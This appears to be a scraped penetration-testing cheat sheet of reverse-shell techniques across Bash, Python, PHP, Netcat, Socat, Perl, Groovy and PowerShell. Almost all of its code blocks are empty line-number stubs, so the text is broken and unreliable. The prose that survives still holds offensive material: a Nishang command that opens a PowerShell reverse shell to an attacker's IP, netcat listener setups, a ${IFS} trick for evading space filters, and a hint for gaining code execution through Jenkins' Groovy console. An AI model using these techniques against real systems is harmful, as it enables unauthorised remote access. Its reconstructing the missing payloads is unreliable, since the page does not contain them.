Reverse shells
Compendium of reverse shells.
Linux and OS agnostic reverse shells
Bash
1 |
|
Info
Sometimes is not possible to put spaces in the payload. ${IFS}
can be used as a separator on linux systems.
Python
1 |
|
python -c 'payload'
Warning
It is possible that if you are executing this into a shell (eg. Bash) can assume that python is not installed if the execution fails. Try python3
for example, it could be only installed under this name.
Alternative Method:
1 |
|
PHP
1 |
|
php -r 'payload'
if we executing this from a shell context.
Netcat
1 |
|
Info
This will only work on systems that have the "insecure" version of netcat installed. The -e
functionality its usually disabled. Sometimes can be found in nc.traditional
program if it is installed.
In case Netcat is installed but without the -e
flag, you can do the following (FIFO pipes shell)
1 |
|
Socat
Attacker:
1 |
|
1 |
|
Lua
1 |
|
Node JS
1 |
|
Perl
1 |
|
Groovy
1 2 3 4 |
|
Hint
Useful when exploiting Jenkins. If your Jenkins privileges let you to access groovy console (Tipically found at /script
on jenkins GUI) it is possible to use this reverse shell to get RCE.
Windows reverse shells
Windows by default could use any of the above shells if there is present any of the languages. If not, a typical approach is going with Powershell.
Nishang
Quote
Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security, penetration testing and red teaming. Nishang is useful during all phases of penetration testing.
In memory execution:
1 |
|
You can also add in the file the last line Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]
to the script and do the same function in one command.
Powershell One-Liner:
1 |
|
ConPty
1 |
|
Note
Fully interactive shell, but needs Rows and Cols. As noted on the repo, it is possible to avoid setting these params if the listener is started like this: stty raw -echo; (stty size; cat) | nc -lvnp 3001
Warning
Requirements:
Client Side: Windows version >= 10 / 2019 1809 (build >= 10.0.17763)
General tricks and upgrading the shell
When catching reverse shells with netcat on a port (e.g. using nc -lvnp 4444
) you can find a lot of times that is hard to edit commands if you make a typo or whatever. This is due to losing access to some "terminal enhancers" we have on default shell session in our machine. One of them is ReadLine that allow you to edit your commands or use your arrow keys to rotate between them. It is possible to replicate that functionality into the reverse shell prepending the listening shell with rlwrap
.
Example:
rlwrap nc -lvnp 1234
Another improvement for the shell could be putting the "host" shell on raw mode to use keyboard shortcuts or editor programs on your reverse shell. That can be achieved doing the following:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
|
Note the detail on zsh. The motivation behind doing the trick different resides on this information taken from PayloadsAllTheThings repo:
Quote
The main problem here is that zsh doesn't handle the stty command the same way bash or sh does. [...] stty raw -echo; fg[...] If you try to execute this as two separated commands, as soon as the prompt appear for you to execute the fg command, your -echo command already lost its effect
References
- Pentest Monkey
- PayloadsAllTheThings https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
- Groovy Shell https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76